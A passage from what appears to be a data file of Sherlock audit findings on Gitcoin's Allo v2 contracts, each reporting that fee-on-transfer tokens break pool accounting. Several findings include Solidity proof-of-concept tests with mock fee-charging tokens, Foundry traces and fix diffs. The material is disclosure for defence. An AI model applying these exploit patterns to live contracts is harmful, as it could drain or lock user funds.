ā”œā”€ [23569] Allo::updateBaseFee(1000000000000000000 [1e18])\n ā”‚ ā”œā”€ emit BaseFeeUpdated(baseFee: 1000000000000000000 [1e18])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [6593] Allo::updatePercentFee(100000000000000000 [1e17])\n ā”‚ ā”œā”€ emit PercentFeeUpdated(percentFee: 100000000000000000 [1e17])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [0] VM::addr() [staticcall]\n ā”‚ ā””ā”€ ā† alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]\n ā”œā”€ [0] VM::label(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], alice)\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [49958] TransferFeeToken::transfer(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 10000000000000000000000 [1e22]) \n ā”‚ ā”œā”€ emit Transfer(from: AlloTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], amount: 9999999900000000000000 [9.999e21])\n ā”‚ ā”œā”€ emit Transfer(from: AlloTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], to: 0x0000000000000000000000000000000000000000, amount: 100000000000000 [1e14])\n ā”‚ ā””ā”€ ā† true\n ā”œā”€ [564] TransferFeeToken::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]\n ā”‚ ā””ā”€ ā† 9999999900000000000000 [9.999e21]\n ā”œā”€ [0] VM::startPrank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [24523] TransferFeeToken::approve(Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f], 4000000000000000000 [4e18])\n ā”‚ ā”œā”€ emit Approval(owner: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], spender: Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f], amount: 4000000000000000000 [4e18])\n ā”‚ ā””ā”€ ā† true\n ā”œā”€ [2399] Allo::getTreasury() [staticcall]\n ā”‚ ā””ā”€ ā† allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4]\n ā”œā”€ [24523] TransferFeeToken::approve(allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4], 100000000000000000 [1e17]) \n ā”‚ ā”œā”€ emit Approval(owner: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], spender: allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4], amount: 100000000000000000 [1e17])\n ā”‚ ā””ā”€ ā† true\n ā”œā”€ [759] TransferFeeToken::allowance(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], Allo: [0x9b40E73C1070fD77cFc3594A84E349C86E6F721f]) [staticcall]\n ā”‚ ā””ā”€ ā† 4000000000000000000 [4e18]\n ā”œā”€ [2359] MockStrategy::getPoolAmount() [staticcall]\n ā”‚ ā””ā”€ ā† 0\n ā”œā”€ [2564] TransferFeeToken::balanceOf(MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]\n ā”‚ ā””ā”€ ā† 0\n ā”œā”€ [84144] Allo::fundPool(1, 4000000000000000000 [4e18])\n ā”‚ ā”œā”€ [29365] TransferFeeToken::transferFrom(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4], 400000000000000000 [4e17])\n ā”‚ ā”‚ ā”œā”€ emit Transfer(from: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: allo_treasury: [0x11CDD8c4b40352E593942e66b1ccA5DC28E391B4], amount: 399900000000000000 [3.999e17])\n ā”‚ ā”‚ ā”œā”€ emit Transfer(from: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: 0x0000000000000000000000000000000000000000, amount: 100000000000000 [1e14])\n ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”œā”€ [21892] TransferFeeToken::transferFrom(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 3600000000000000000 [3.6e18])\n ā”‚ ā”‚ ā”œā”€ emit Transfer(from: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], amount: 3599900000000000000 [3.599e18])\n ā”‚ ā”‚ ā”œā”€ emit Transfer(from: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], to: 0x0000000000000000000000000000000000000000, amount: 100000000000000 [1e14])\n ā”‚ ā”‚ ā””ā”€ ā† true\n ā”‚ ā”œā”€ [20607] MockStrategy::increasePoolAmount(3600000000000000000 [3.6e18])\n ā”‚ ā”‚ ā””ā”€ ā† ()\n ā”‚ ā”œā”€ emit PoolFunded(poolId: 1, amount: 3600000000000000000 [3.6e18], fee: 400000000000000000 [4e17])\n ā”‚ ā””ā”€ ā† ()\n ā”œā”€ [359] MockStrategy::getPoolAmount() [staticcall]\n ā”‚ ā””ā”€ ā† 3600000000000000000 [3.6e18]\n ā”œā”€ [564] TransferFeeToken::balanceOf(MockStrategy: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a]) [staticcall]\n ā”‚ ā””ā”€ ā† 3599900000000000000 [3.599e18]\n ā”œā”€ [0] VM::stopPrank()\n ā”‚ ā””ā”€ ā† ()\n ā””ā”€ ā† ()\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.61ms\n\nRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)\n```\n\n
\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCalculate the added pool amount like this in `Allo::_fundPool()`\n\n```diff\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n \n+ uint256 poolBalanceBefore;\n+ if(_token != NATIVE) poolBalanceBefore = IERC20(_token).balanceOf(_strategy);\n\n if (percentFee > 0) {\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n\n+ uint256 poolBalanceAfter;\n+ if(_token != NATIVE) poolBalanceAfter = IERC20(_token).balanceOf(_strategy);\n\n- _strategy.increasePoolAmount(amountAfterFee);\n\n+ if(token == NATIVE){\n+ _strategy.increasePoolAmount(amountAfterFee);\n+ emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n+ }\n+ else {\n+ _strategy.increasePoolAmount(poolBalanceAfter - poolBalanceBefore ); \n+ emit PoolFunded(_poolId, poolBalanceAfter - poolBalanceBefore, feeAmount);\n+ }\n\n- emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/152.md"}} +{"title":"FEE-ON-TRANSFER usage could DOS a pool","severity":"medium","body":"Rapid Lead Cricket\n\nmedium\n\n# FEE-ON-TRANSFER usage could DOS a pool\nAccording to sponsor answer regarding sherlock doc : \n```solidity\nAre there any FEE-ON-TRANSFER tokens interacting with the smart contracts?\nYes. When funding a pool on Allo.sol\n```\nHowever variables used for accounting on Allo protocol does not used ballanceBefore and balanceAfter pattern so if fee-on-transfer token would be used it will break the account of the protocol.\n\n## Vulnerability Detail\n\nIn the codebase, the usage of `safeTransfer` and `safeTransferFrom` assume that the receiver receives the exact transferred amount, specifically when pool creator is funding a pool only treasury fees are decremented : \n\nAllo.sol\n```solidity\n /// @notice Fund a pool.\n /// @dev Deducts the fee and transfers the amount to the distribution strategy.\n function _fundPool(uint256 _amount, uint256 _poolId, IStrategy _strategy) internal {\n uint256 feeAmount;\n uint256 amountAfterFee = _amount;\n\n Pool storage pool = pools[_poolId];\n address _token = pool.token;\n\n if (percentFee > 0) {\n //E _amount * percentFee / 1e18\n //E ex : amount * 10 / 100 = 0.1*amount\n feeAmount = (_amount * percentFee) / getFeeDenominator();\n amountAfterFee -= feeAmount;\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: treasury, amount: feeAmount}));\n }\n\n _transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee}));\n _strategy.increasePoolAmount(amountAfterFee);\n\n emit PoolFunded(_poolId, amountAfterFee, feeAmount);\n }\n```\nTransfer.sol : \n```solidity\n function _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {\n uint256 amount = _transferData.amount;\n if (_token == NATIVE) {\n // Native Token\n if (msg.value < amount) revert AMOUNT_MISMATCH();\n\n SafeTransferLib.safeTransferETH(_transferData.to, amount);\n } else {\n SafeTransferLib.safeTransferFrom(_token, _transferData.from, _transferData.to, amount);\n }\n return true;\n }\n```\n\nBaseStrategy.sol : \n```solidity\n function increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount); //E hook \n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount); //E hook \n }\n```\nAs we can see fees that should be taken by the protocol are decremented but `poolAmount` is incremented by amount on `increasePoolAmount` function , not taking any fee-on-transfer that could be applied.\nAccording to `[this link](https://github.com/d-xo/weird-erc20#fee-on-transfer)` some tokens take a transfer fee (e.g. STA, PAXG), some do not currently charge a fee but may do so in the future (e.g. USDT, USDC).\nSo to take a concrete example , if the token charge transfer fee, the payment amount is 100 ETH(after protocol fees deducted) and 1 ETH is charged as fee during transfer, strategy contract will only receive 99 ETH, but the wrong value payment 100 ETH is used to update the accounting `poolAmount`.\nFor now it's not a big problem but when distribution happen, there will be a problem as `_distribute()` function rely directly on `poolAmount` to send tokens to recipients that deserve it , for example in QVBaseStrategy : \n```solidity\nfunction _distribute(address[] memory _recipientIds, bytes memory, address _sender)\n internal\n virtual\n override\n onlyPoolManager(_sender)\n onlyAfterAllocation //E if (block.timestamp < allocationEndTime) revert\n {\n uint256 payoutLength = _recipientIds.length;\n for (uint256 i; i < payoutLength;) {\n address recipientId = _recipientIds[i];\n //E mapping address => Recipient Struct\n Recipient storage recipient = recipients[recipientId];\n\n //E return PayoutSummary(recipient.recipientAddress, amount);\n PayoutSummary memory payout = _getPayout(recipientId, \"\");\n //E amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes\n uint256 amount = payout.amount;\n\n //E if alreadyPaid or not accepted or amount == 0 => revert\n //E accepted if recipients[_recipientId].recipientStatus == Status.Accepted;\n if (paidOut[recipientId] || !_isAcceptedRecipient(recipientId) || amount == 0) {\n revert RECIPIENT_ERROR(recipientId);\n }\n\n IAllo.Pool memory pool = allo.getPool(poolId);\n _transferAmount(pool.token, recipient.recipientAddress, amount);\n\n paidOut[recipientId] = true;\n\n emit Distributed(recipientId, recipient.recipientAddress, amount, _sender);\n unchecked {\n ++i;\n }\n }\n }\n```\nIf `poolAmount` does not represent real tokens on the strategy contract, we can easily imagine that first distributions will work until there is no more token on the contract to send regarding calculation of rewarded amount.\n\n**The same is true for all merkle,RFP and QV strategy.**\n\n## Impact\n\nDistribution will be DOS and recipient won't get there rewarded tokens or will get less than they should get until there is no more funds to distribute last recipients who will see there distribution locked on the strategy.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L155\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nIf you want to use fee on transfer token, use the `amountBefore`/`amountAfter` pattern matching for your accounting strategy","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/136.md"}} +{"title":"Incorrect accounting for claims in `DonationVotingMerkleDistributionVaultStrategy` for fee-on-transfer tokens","severity":"medium","body":"Glamorous Hazelnut Haddock\n\nmedium\n\n# Incorrect accounting for claims in `DonationVotingMerkleDistributionVaultStrategy` for fee-on-transfer tokens\nIncorrect accounting for claims in `DonationVotingMerkleDistributionVaultStrategy` for fee-on-transfer tokens results in recipients being able to claim more than the token amount allocated to them.\n\n## Vulnerability Detail\nThe contest README explicitly states that pools may interact with fee-on-transfer tokens, so they may be added to the allow list for `DonationVotingMerkleDistributionVaultStrategy`. In the `_afterAllocate` hook, the amount claimable by the recipient allocated to is increased by the amount transferred to the strategy rather than the received amount (which will be lower for fee-on-transfer tokens).\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L135\n```solidity\n claims[recipientId][token] += amount;\n```\nThe whole amount recorded in the `claims` mapping is transferred to the specified recipient when `claim` is called. Amounts received by recipients will be inflated, and the strategy will have insufficient funds to satisfy all claims, locking funds.\n\nIt should be noted that `withdraw` only allows recovery of `pool.token` which does not include all allowed tokens for allocation.\n\n## Impact\nInflated claim amounts for recipients and locked funds due to insufficient token balance in the strategy.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L135\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider increasing the claim amount by the difference between the token balance before and after.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/124.md"}} +{"title":"Incorrect accounting in `_fundPool` for fee-on-transfer tokens","severity":"medium","body":"Glamorous Hazelnut Haddock\n\nmedium\n\n# Incorrect accounting in `_fundPool` for fee-on-transfer tokens\n`_fundPool` will increase the target pool's `poolAmount` by more than what is received if the pool token is a fee-on-transfer token, potentially locking funds and distributing more than intended to recipients (depending on the strategy).\n\n## Vulnerability Detail\nThe contest README explicitly states that fee-on-transfer tokens may be used for funding pools. However, in `_fundPool` in the Allo contract, `poolAmount` is always increased by the amount transferred to the pool/strategy rather than the amount received.\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L517\n```solidity\n _strategy.increasePoolAmount(amountAfterFee);\n```\n(All the in scope strategies use the following `increasePoolAmount` function with no overrides and no implementation of the hooks)\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L153-L157\n```solidity\n function increasePoolAmount(uint256 _amount) external override onlyAllo {\n _beforeIncreasePoolAmount(_amount);\n poolAmount += _amount;\n _afterIncreasePoolAmount(_amount);\n }\n```\nIf the pool token is a fee-on-transfer token, `poolAmount` will be increased by more than the token amount received. \n\nA example of an issue can be seen in the payout calculation implemented in the `QVBaseStrategy` contract (and used in `QVSimpleStrategy`) which returns a portion of `poolAmount` which would be inflated. Consequently, recipients will receive more funding than they are allotted and some distributions may be locked due to insufficient balance (in this case, there is no recovery function).\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n```solidity\n amount = poolAmount * recipient.totalVotesReceived / totalRecipientVotes;\n```\n\n## Impact\nIncorrect accounting for `poolAmount` which could inflate funding received by recipients and lock tokens.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/core/Allo.sol#L517\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/BaseStrategy.sol#L153-L157\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L571\n\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider increasing the pool amount by the difference in the strategy's balance before and after the transfer.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/122.md"}} +{"title":"Protocol will not work properly with fee-on-transfer tokens","severity":"medium","body":"Original Sky Buffalo\n\nmedium\n\n# Protocol will not work properly with fee-on-transfer tokens\nThe protocol is meant to be working with any ERC-20 tokens. Some of them may be a [fee-on-transfer](https://github.com/d-xo/weird-erc20#fee-on-transfer) ones. The protocol always accounts the token transfers per declared amount, which will change during the call due to that fee. This is a common type of issue which may cause discrepancies such as inability to distribute pool funds.\n\n## Vulnerability Detail\nWhen dealing with fee-on-transfer tokens, the protocol should always consider difference between pre- and post- transfer balances instead of using declared amount (e.g. the amount argument passed to the function). \n\nThe issue is common but below is a description on what exact impact it may have on Allo protocol.\n\nThe issue happens if funds are moved into the protocol, and the declared amount is booked as received, while, due to the fee, there will be a smaller amount transferred in reality. \n\nThe main function responsible for moving funds inside the contract is `_transferAmount` or `_transferAmountFrom`. It just takes the amount and transfers it. All other functions that rely on it (examples in code part) just account that amount. \n\n**Example**: Lets assume we fund a pool with1000TOKEN transferred into protocol as the funding amount. The protocol notes that pool has now 1000TOKEN balance. But in fact the fee underway takes 2 TOKEN and the real balance is 998 TOKEN now.\nWhen distributing funds, protocol wants to distribute the pool amount, which it believes is 1000, to recipient. But it fails, because the real amount is 998. The recipient cannot get his funds. (probably some creative way would be possible in some strategies like withdrawing from pool, funding new one, setting new milestones etc. but it would be very troublesome and overall not desired)\n\n**Exemplary impact**: in RFPSimpleStrategy, distribute tries to withdraw milestone percentage * amount. At the last milestone, the balance will not be sufficient due to smaller than accounted amount (as the fees are deducted when funding pool). So the last milestone cannot be paid, as it will result in `NOT_ENOUGH_FUNDS` error. The recipient will not be paid the last part due to the protocol fault.\n\n## Impact\nFor some of the strategies it will not be possible for a recipient to receive their funds, if pool uses fee-on-transfer tokens.\n\n## Code Snippet\nThe main function that causes the misaccounting is `_fundPool` which transfers tokens into the protocol and does not calculate the received amount.\n\n- [Allo.sol - _fundPool](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517) - this affects all the strategies that relies on withdrawing the incorrectly accounted balance.\n\nlike `claim()` in `DonationBotingStrategy` or `distribute` in `RFPSimpleStrategy`.\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe protocol should always consider difference between pre- and post- transfer balances instead of using a fixed amount.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/082.md"}} +{"title":"Using fee-on-transfer ERC20 tokens leads to incorrect pool balance","severity":"medium","body":"Urban Strawberry Monkey\n\nmedium\n\n# Using fee-on-transfer ERC20 tokens leads to incorrect pool balance\nThe `Allo` lacks support for fee-on-transfer tokens even though the contest guideline states it does.\n\nWhen a pool is funded with a fee-on-transfer token, the actual number of tokens added to the pool strategy is lower than expected as `Allo` does not account for any charged fees. This discrepancy disrupts the accurate accounting of the pool and can lead to issues with allocations and distributions within the system.\n\n## Vulnerability Detail\nThe internal `_fundPool()` function is used by `createPool()`, `createPoolWithCustomStrategy()` and `fundPool()` to perform pool funding either upon pool creation or subsequently.\n\nThe implementation of `_fundPool()` calculates the fee the Allo protocol charges and sends it to the protocol `treasury`. The remaining funds, known as `amountAfterFee`, get moved to the pool's strategy. Additionally, `amountAfterFee` plays a role in keeping track of the strategy's internal accounting by updating the pool balance via `_strategy.increasePoolAmount(amountAfterFee)`.:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L517\n\nWhen dealing with fee-on-transfer tokens like STA, PAXG, USDT, USDC, etc., the token protocol deducts a fee before sending the remaining amount to the recipient. This becomes problematic with the `Allo` contract because it doesn't account for this fee deduction, leading to inaccurate balance update in the pool strategy.\n\n## Impact\nThe actual pool strategy balance is inaccurate (lower than expected) and this breaks subsequent activities dependant on it such as allocations, distributions, etc.\n\n## Code Snippet\nThis is the problematic function, the actual vulnerability is on **line 517**.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L496-L520\n\n## PoC\nHere is a drop-in snippet of a PoC which demonstrates the issue and how the pool strategy's internal accounting is incorrectly calculated:\n\n```solidity\n// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity ^0.8.19;\n\nimport \"forge-std/Test.sol\";\n\nimport {ERC20} from \"openzeppelin-contracts/contracts/token/ERC20/ERC20.sol\";\nimport {IAllo} from \"../../../contracts/core/interfaces/IAllo.sol\";\nimport {IStrategy} from \"../../../contracts/core/interfaces/IStrategy.sol\";\nimport {AlloTest} from \"./Allo.t.sol\";\nimport {MockStrategy} from \"../../utils/MockStrategy.sol\";\n\ncontract IncorrectPoolBalancePoC is AlloTest {\n\n function setUp() public override {\n super.setUp();\n }\n\n function test_incorrectPoolBalancePoC() public {\n // Deploy a simple fee-on-transfer token and mint 100 000 tokens to pool_admin()\n FeeOnTransferToken token = new FeeOnTransferToken(1_000_000 ether);\n token.mint(pool_admin(), 100_000 ether);\n console.log(\"\\n=== Before Pool Creation ===\");\n console.log(\"Pool admin balance:\\t\\t\\t\\t%s tokens\", token.balanceOf(pool_admin()));\n \n // Create a new pool and fund it with all 100 000 tokens\n vm.startPrank(pool_admin());\n token.approve(address(allo()), type(uint256).max);\n uint256 poolId = allo().createPoolWithCustomStrategy(\n poolProfile_id(), strategy, \"0x\", address(token), 100_000 ether, metadata, pool_managers()\n );\n vm.stopPrank();\n\n IAllo.Pool memory poolWithBrokenBalance = allo().getPool(poolId);\n console.log(\"\\n=== After Pool Creation ===\");\n console.log(\"Pool admin balance:\\t\\t\\t\\t%s tokens\", token.balanceOf(pool_admin()));\n console.log(\"Pool balance as per Strategy#getPoolAmount():\\t%s tokens\", poolWithBrokenBalance.strategy.getPoolAmount());\n console.log(\"Actual pool balance as per Token#balanceOf():\\t%s tokens\", token.balanceOf(address(poolWithBrokenBalance.strategy)));\n }\n}\n\n// Simplistic fee-on-transfer-token implementation\ncontract FeeOnTransferToken is ERC20 {\n uint256 private constant FEE_PERCENTAGE = 10;\n address private _owner;\n\n constructor(uint256 initialSupply) ERC20(\"FeeOnTransferToken\", \"FOTT\") {\n _owner = msg.sender;\n _mint(_owner, initialSupply);\n }\n\n function transfer(address to, uint256 amount) public override returns (bool) {\n require(balanceOf(msg.sender) >= amount, \"Insufficient balance\");\n\n uint256 fee = amount * FEE_PERCENTAGE / 100;\n _transfer(msg.sender, to, amount - fee);\n _transfer(msg.sender, _owner, fee); // Send the fee to a designated address\n\n return true;\n }\n\n function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {\n require(balanceOf(sender) >= amount, \"Insufficient balance\");\n\n uint256 fee = amount * FEE_PERCENTAGE / 100;\n _spendAllowance(sender, msg.sender, amount);\n _transfer(sender, recipient, amount - fee);\n _transfer(sender, _owner, fee);\n\n return true;\n }\n\n function mint(address account, uint256 amount) external {\n _mint(account, amount);\n }\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nTransfer the tokens first and compare pre-/after token balances to compute the actual transferred amount, e.g.:\n```solidity\nuint256 poolBalanceBefore = _token.balanceOf(_strategy);\n_transferAmountFrom(_token, TransferData({from: msg.sender, to: address(_strategy), amount: amountAfterFee})); \nuint256 poolBalanceAfter = _token.balanceOf(_strategy);\nuint256 actualAmountDeposited = poolBalanceAfter - poolBalanceBefore;\n_strategy.increasePoolAmount(actualAmountDeposited); \n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/053.md"}} +{"title":"Protocol isn't compatible with fee on transfer tokens","severity":"medium","body":"Savory Boysenberry Cobra\n\nmedium\n\n# Protocol isn't compatible with fee on transfer tokens\nProtocol isn't compatible with fee on transfer tokens\n## Vulnerability Detail\nWhen user funds pool with fee on transfer tokens, then [strategy receives amount that user has sent](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L516). In case of fee on transfer tokens, strategy will receive smaller amount than was sent. But then strategy [balance is increased](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L517) and strategy doesn't have ability to check if it's true, [it just believes](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L155).\n## Impact\nStrategy `poolAmount` is not correct.\n## Code Snippet\nProvided above.\n## Tool used\n\nManual Review\n\n## Recommendation\nIn order to repair this Allo should calculate how many tokens was received by strategy.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//002-M/041.md"}} +{"title":"Malicious user can manipulate the poolAmount leading to loss of funds for recipients.","severity":"medium","body":"Dandy Seafoam Shrimp\n\nhigh\n\n# Malicious user can manipulate the poolAmount leading to loss of funds for recipients.\n\nPools are designed so that they can be funded by any token the pool creator initiate them with. The pool fund is tracked via ```poolAmount``` in pool strategy contract, and this will be later used to distribute allocated funds to recipients addresses.However the pool amount can be manipulated and this will result in some recipient losing funds.\n## Vulnerability Detail\n\nSome tokens take a transfer fee (e.g. STA, PAXG), some do not currently charge a fee but may do so in the future (e.g. USDT, USDC).\nThe STA transfer fee was used to drain $500k from several balancer pools ([more details](https://medium.com/@1inch.exchange/balancer-hack-2020-a8f7131c980e)).\n\nUsing a token that take fee on transfer to create a pool and fund it, a pool creator may not know but the poolAmount will be manipulated by the token internal functionality (fee on transfer). Let's see a PoC to prove this:\n\nFirst we implement a fee on transfer like token.\nCopy and paste this code under a ERC20.sol file under test/utils\n```solidity\n// Copyright (C) 2017, 2018, 2019, 2020 dbrock, rain, mrchico, d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\ncontract Math {\n // --- Math ---\n function add(uint x, uint y) internal pure returns (uint z) {\n require((z = x + y) >= x);\n }\n function sub(uint x, uint y) internal pure returns (uint z) {\n require((z = x - y) <= x);\n }\n}\n\ncontract ERC20 is Math {\n // --- ERC20 Data ---\n string public constant name = \"Token\";\n string public constant symbol = \"TKN\";\n uint8 public decimals = 18;\n uint256 public totalSupply;\n\n mapping (address => uint) public balanceOf;\n mapping (address => mapping (address => uint)) public allowance;\n\n event Approval(address indexed src, address indexed guy, uint wad);\n event Transfer(address indexed src, address indexed dst, uint wad);\n\n // --- Init ---\n constructor(uint _totalSupply) public {\n totalSupply = _totalSupply;\n balanceOf[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n // --- Token ---\n function transfer(address dst, uint wad) virtual public returns (bool) {\n return transferFrom(msg.sender, dst, wad);\n }\n function transferFrom(address src, address dst, uint wad) virtual public returns (bool) {\n require(balanceOf[src] >= wad, \"insufficient-balance\");\n if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n }\n balanceOf[src] = sub(balanceOf[src], wad);\n balanceOf[dst] = add(balanceOf[dst], wad);\n emit Transfer(src, dst, wad);\n return true;\n }\n function approve(address usr, uint wad) virtual public returns (bool) {\n allowance[msg.sender][usr] = wad;\n emit Approval(msg.sender, usr, wad);\n return true;\n }\n}\n```\n\nCopy and paste the TransferFeeToken contract under another file under test/utils\n```solidity\n// Copyright (C) 2020 d-xo\n// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity >=0.6.12;\n\nimport {ERC20} from \"./ERC20.sol\";\n\ncontract TransferFeeToken is ERC20 {\n\n uint immutable fee;\n\n // --- Init ---\n constructor(uint _totalSupply, uint _fee) ERC20(_totalSupply) {\n fee = _fee;\n }\n\n // --- Token ---\n function transferFrom(address src, address dst, uint wad) override public returns (bool) {\n require(balanceOf[src] >= wad, \"insufficient-balance\");\n if (src != msg.sender && allowance[src][msg.sender] != type(uint).max) {\n require(allowance[src][msg.sender] >= wad, \"insufficient-allowance\");\n allowance[src][msg.sender] = sub(allowance[src][msg.sender], wad);\n }\n\n balanceOf[src] = sub(balanceOf[src], wad);\n balanceOf[dst] = add(balanceOf[dst], sub(wad, fee));\n balanceOf[address(0)] = add(balanceOf[address(0)], fee);\n\n emit Transfer(src, dst, sub(wad, fee));\n emit Transfer(src, address(0), fee);\n\n return true;\n }\n}\n```\n\nNow let's write a test to see how this affect the poolAmount.\nCopy and paste this test under test/foundry/core/MyTests.t.sol\n\n```solidity\n\n// SPDX-License-Identifier: 